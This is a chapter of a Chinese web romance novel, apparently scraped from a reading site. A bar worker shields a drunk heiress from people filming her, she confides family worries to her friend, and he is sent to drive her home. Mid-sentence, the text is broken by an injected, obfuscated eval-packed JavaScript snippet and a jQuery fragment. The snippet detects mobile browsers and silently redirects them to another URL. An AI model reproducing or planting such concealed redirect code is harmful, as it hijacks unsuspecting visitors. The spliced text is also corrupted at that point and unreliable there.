8.试探
作品:《今日雪况如何》 说话的时候有多硬气,说完以后就有多心虚。
秦锋甚至纳闷儿,自己刚才哪里来的那么大莽劲儿,竟和这金枝玉叶的小姐耍起嘴皮子来。
于是他撂完那句话,转身就走,像是怕听到许清和更富有暗示性地回答。
这个点儿,酒吧已经开始上人了。
在这其中穿梭,任谁都会被迫灌进满耳朵的喧哗。
“黑内衣的喝!肩带露出来!验货啊!”
“新表?我摸摸!哎哟,真家伙!”
“哥哥,我一个人来的,能蹭杯酒吗?”
……
来“月色”工作的短短几天,秦锋已经见识了足够的荒唐。
在这里,胆量、美貌、财富,甚至无耻,都是明码标价的硬通货。许家司机当初防贼似的眼神,他现在懂了。他们这等有钱人指缝里随便漏一点,确实够他拼死拼活挣一辈子。
不过比之整个场子的纸醉金迷,许清和所在的那张卡座,倒像股清流似的——
全是年轻姑娘:她最好的姐妹颜之玉、梁家双胞胎,还有另外两个常玩的女孩。没一个“好大哥”作陪,这本身就扎眼。
旁边巴望着的人那叫多啊,有羡慕,有算计,还有跃跃欲试的窥探。可惜,酒保牢牢围着,没人能轻易串到这张卡来。
演出的嘉宾尚且还没出场,人群已经躁动起来。挤搡中,不知谁先嚷了一句:“看A1卡中间那女的,眼熟不?”
声音在震耳的音乐里不算大,可人挨人太近,一声招呼,好多人都看过去:“是不是今天热搜上那视频?开兰博基尼撞外卖员的那个?”另一个声音迅速接上,带着发现猎物的兴奋。
“嗬,她赔了吗,这就出来潇洒了?有钱真是了不起啊!”议论声像瘟疫一样在拥挤的人缝里扩散。
越来越多的手机举起,摄像头对准了卡座中央那个穿着珍珠白吊带裙的侧影。
对讲机里传来急促的声音:“A1卡,人太密了,疏导一下!”
很快,另一个声音压低了补充:“都在拿手机拍照。许小姐好像还没察觉,要不要干预?”
耳麦里各种指令混杂着粗话,舞池像一口煮沸的、翻滚着欲望和酒精的大锅。
许小姐。
然而,秦锋还是在杂音刺啦作响的对讲机里精准捕捉到了这三个字。
他站在门口迎宾的位置,离A1卡还隔着半个沸腾的舞池。他刚想赶过去,身后一个挺着肚子的男人不耐烦地搡了他一把:“发什么呆?带座啊!”
秦锋肌肉本能地绷紧,又强迫自己松弛下来。他沉默地低下头,快速领着那桌客人往里走。
A1卡那边,闪光灯越来越密集,几乎连成一片。几个高大的安保迅速收缩了人墙,领班亲自弯腰,脸上堆着从未有过的谨慎:“许小姐,这边太乱了。您看……是不是先移步包厢避一避?等这阵风头过去再说?”
许清和旁边的颜之玉飞快地掏出自己的墨镜递过去:“清和,先戴上。”
险些踩到的裙角暴露了许清和的慌张,但她面上没露出一点瑕疵,冲领班点了点头,把头发拨下来,挡住了半边脸。
她一起身的空档,旁边甚至有人直接开了直播:“肇事逃逸的兰博基尼车主啊,就在月色酒吧!瞧瞧这一桌子的酒,人家外卖员还在病床上躺着呢!”
驴唇不对马嘴!
听见那些荒唐的话后,秦锋甚至没顾上身后的客人,努力想往前挤,可人潮却像粘稠的沼泽,不断拉开他和她之间的距离。
秦锋只好拼命用身子,试图挡住那些不怀好意地手机摄像头。
“你丫能不能起开啊!我这儿开直播呢!”有个看热闹的男的狠狠推了秦锋的肩胛骨一把,唾沫几乎喷到他脸上。
那一下,使了十成十的力气,可落在秦锋身上,他却纹丝不动。高大的身躯像小山似的,牢牢挡住人群企图拍摄许清和的角度。
终于,那抹白色的身影消失在通往VIP区的深色绒帘后。
秦锋才卸了劲儿,缓步继续在场里穿梭。
包厢里。
厚重的门一关,外面沸腾的声浪骤然缩成沉闷的背景音。
屋里只剩下许清和和颜之玉两人。
水晶吊灯没开,只亮着几盏壁灯,光线昏黄柔软,却逐渐被一种紧绷的静默迅速填满。
颜之玉先是没说话,只伸手握住了许清和搁在膝头的手。那只手冰凉,指尖有些僵,她轻轻拍了拍。
然后颜之玉起身去倒了杯热茶,杯壁熨着掌心,暖意一点点透过来,她将茶杯塞进许清和手里,跟她说:“小梁她们让司机先送回去了,就咱俩,说话方便。”
许清和没接稳,茶水晃出来一点,溅在裙摆上。她低头看了看,忽然把茶杯往茶几上一撂,瓷底磕在大理石面上,发出清脆却克制的声响。
“凭什么我要躲?倒像我真做了什么亏心事,得夹着尾巴跑,”许清和抬手用力捋了一下垂到胸前的长发,“我就该站在那儿,把给那对外卖员母女的转账记录打开,杵到他们镜头前面!”
颜之玉没劝,只是挨着许清和重新坐下:“跟那些人辩不清的,”她声音放得又轻又缓,很有安抚性,“你说一句,他们有十句等着,越描越黑。犯不着。”
许清和胸膛起伏了一下,忽然伸手抓过桌上的威士忌。没加冰,也没兑水,瓶口对着唇,仰头就灌下去一大口。
琥珀色的液体滑过喉咙,她蹙紧眉,喉间逸出一声极轻的、被灼痛似的吸气声:“唔,当时路口那么多人,所有人都看到谁对谁错,怎么到了网上,就成了我飙车撞人,扬长而去了?”
颜之玉由着许清和喝,只把那杯热茶又往前推了推:“要不,问问洪昕阿姨?她处理这些事,总有办法。至少,先把热搜上那些乱七八糟的压一压?”
“洪昕”两个字像一枚细针,轻轻刺破了许清和被酒精和怒气裹住的思绪。她握着酒瓶的手顿了顿,然后咚一声搁回桌面,瓶底残余的酒液猛烈晃荡。
“别提她,”许清和语气忽然变得有些古怪,带着点烦躁,“你最近见她没?我总觉得……她不对劲。”
“你跟你妈,多久才见一次啊,什么时候熟到能看出对不对劲了?”颜之玉失笑,顺手拿起一片果盘里的蜜瓜,小小咬了一口。
许清和没理会她的调侃,身体微微前倾,一副特别认真的样子:“她胖了。脸上,身上,都有点圆了。特别容易累,脾气也怪,”她边说边无意识地用手比划,“她一会儿管东管西,一会儿又好像懒得搭理你。那种感觉……怎么说呢,悬在半空,要落不落的。”
颜之玉咀嚼的动作停了:“更年期?”她吐出瓜籽,猜测道。
“不是!”许清和又猛灌两口酒,然后转过头,眼睛在昏暗光线下显得格外亮,也格外认真,“我怀疑她怀孕了。”
“噗——”颜之玉差点被蜜瓜呛住,连忙抽了张纸巾捂住嘴,咳了好几下才缓过来,抬眼瞪她,满是不可思议,“许清和!洪阿姨多大年纪了?生孩子?”
许清和看着颜之玉激动的反应,反而像被抽走了力气,往后靠进沙发深处。
她抬起手,用手背轻轻盖住眼睛,半晌,才从唇间溢出一声几乎听不见的叹息,混着酒气:“要真有……肯定是个儿子。”
这话没头没尾,颜之玉却听懂了。
她张了张嘴,一时不知该接什么。包厢里彻底安静下来,只有中央空调发出极其微弱的嗡鸣。
过了很久,颜之玉放下蜜瓜,抽了张湿巾慢慢擦手,擦得很仔细,然后轻轻推了推许清和。
许清和已经睡着了。头歪在丝绒沙发宽大的扶手上,呼吸很轻,带着酒意的微醺,眉头却还浅浅地蹙着,仿佛在梦里也没放下那桩烦心事。
颜之玉看着许清和,心里泛起一丝复杂的涩意。其实她的家境和许清和完全没法比,只是碰巧从小一起读书,才做了这么多年的朋友。外人看许清和,是含着金汤匙出生的许家独女,骄纵或许有些,但大体是明艳照人、不知愁滋味的。
只有颜之玉知道,那层光鲜亮丽的壳子底下,藏着怎样一片外人难以触及的、空旷又拧巴的天地。
这么多年,许清和身边最近的朋友一直只有她。
颜之玉叹了口气,又推了推许清和:“清和,要回家了,回家睡吧。”
许清和迷迷糊糊地“嗯”了一声,眼皮费力地掀开一条缝,眸子里蒙着一层潋滟的水光,焦点涣散。
她忽然咕哝了一句,口齿含混,却带着一股执拗的孩子气:“我跟你讲……我只要钱,他们只要给我钱就行。我才不需要……什么爱。”
“好,好,”颜之玉顺着她的话哄,“要钱。我们清和,一直都会有很多很多钱。”
许清和咂了咂嘴,仿佛对这个答案十分满意,嘴角甚至翘起一点极淡的弧度。随即身子一软,又沉沉地倒回沙发里。
接
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128746|195747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下来,任凭颜之玉怎么叫、怎么碰,许清和都毫无动静。
她彻底没了法子,只好站起身,理了理微皱的裙摆,走到门边去找领班。
“许小姐醉了,”颜之玉朝沙发方向示意,“找个稳妥的代驾,安全送她回去。”
领班目光迅速在室内扫了一圈,又探身朝门外走廊望了望。他的视线掠过几个略显油滑的人,最终定格在走廊尽头那个倚墙而立的高大影子上。
然后他抬手,指关节在门板上不轻不重地叩了两下:“秦锋,你过来。”
秦锋抬起头。
走廊尽头的灯光恰好从他头顶斜斜打下,在他挺直的鼻梁一侧投下小片阴影,让那双看过来的眼睛显得格外深。他没立刻应声,目光先越过了领班的肩头,落在包厢深处——
许清和歪在沙发里,珍珠白的裙摆像是夜色里融化的一小片月光,随着她不甚安稳的呼吸微微起伏。长发散乱,遮住她大半张脸,只露出一点尖俏的下巴,和抿着的、没什么血色的唇。
这和他之前见过的,是完全不一样的许清和。
然后秦锋才迈步走过来,脚步稳而沉,踩在厚地毯上,没发出一点声音。在离沙发还有几步距离时停下,他微微颔首,声音不高,也没什么波澜:“领班。”
领班朝他抬了抬下巴:“你送许小姐回去,车钥匙在门口管家手里,你务必把人送到家,看着人进门。”
醉了的人没骨头。
许清和看着纤细,此刻却像一捧抓不住的流水,软绵绵地往下滑。颜之玉、秦锋俩人一左一右架着她,还没出包厢门就乱成一团——
不是颜之玉踩到了她曳地的裙摆,就是她的高跟鞋踢过秦锋的腿,三个人趔趔趄趄,像一群唱戏的囧角儿。
秦锋额角青筋跳了跳,忍无可忍,对颜之玉说:“你松手,我一个人来。”
颜之玉立刻警惕地瞪他:“你一个人?行不行啊?”
旁边的领班不动声色地碰了碰颜之玉胳膊,凑近耳语:“这男人是下午许小姐亲自点来服务的,像是认识。”
颜之玉目光狐疑地在秦锋绷紧的肌肉上扫了一圈,感觉这人浑身冒着与这金贵场所格格不入的硬茬气。
她心里直嘀咕:许清和什么时候好这口了?这男人看着就像……不怎么斯文的。
等颜之玉半信半疑地退开,秦锋才总算能好好使力。
他高大的身躯弯下来,小心翼翼地把许清和一条胳膊绕过自己脖子,架在肩上,另一只手穿过她腋下,用手臂稳稳托住,掌心悬空,刻意避开了直接的身体接触。
睡梦里突然碰着个热乎乎又硬乎乎的东西,许清和下意识想要倚靠过去。一舒服,她另一只手也软软地环上秦锋,猝不及防地,俩人的姿势变成一个结结实实的正面拥抱。
秦锋被她这突然一抱,脚步顿时绊住,一个重心不稳,差点带着怀里的人一起栽倒。情急之下,他手臂本能地收紧,牢牢箍住了许清和的腰身,稳住两人。
从旁人的角度看,这姿态亲密得过分,简直像热恋中的情侣在厮磨。
连见多识广的领班都飞快地瞥了一眼,随即低下头,假装整理袖口。
秦锋只觉得一股混着酒气的甜香直往鼻子里钻,怀里的人又软得不讲道理。
他压下心里那点说不清道不明的躁意,咬着牙问:“许清和小姐,能自己走两步吗?”
许清和仿佛听见了,又好像没听懂。她从他怀里微微仰起头,脸颊酡红,眼眸蒙着水雾,笑意吟吟地看着他:“唔……你给钱呀?给钱我就走。”
“我给你钱?!”秦锋气笑了。
行,挺好,身份对调了是吧?不是她给他砸钱,改他上供了?
眼看跟醉鬼讲道理纯属浪费时间,秦锋心一横,不再犹豫。弯下腰,一手抄过她膝窝,另一只手稳稳托住后背,稍一用力,直接把人打横抱了起来。
“哇!”颜之玉没忍住,在后面悄悄惊呼了一声。
到了门口那辆扎眼的红色法拉利旁,管家把钥匙递到秦锋手里,目光却像刀子似的在他脸上身上刮了一遍。
秦锋面无表情地接过,拉开副驾驶门,小心地把还在咕哝着“钱呢”的许清和塞进去,系好安全带。
他正准备走进驾驶座开车,领班突然凑过来。
接着,他的胳膊肘被不轻不重地撞了一下,领班递来一个暧昧不明的眼神,压低声线:“秦锋,你机灵点儿,把握好。”

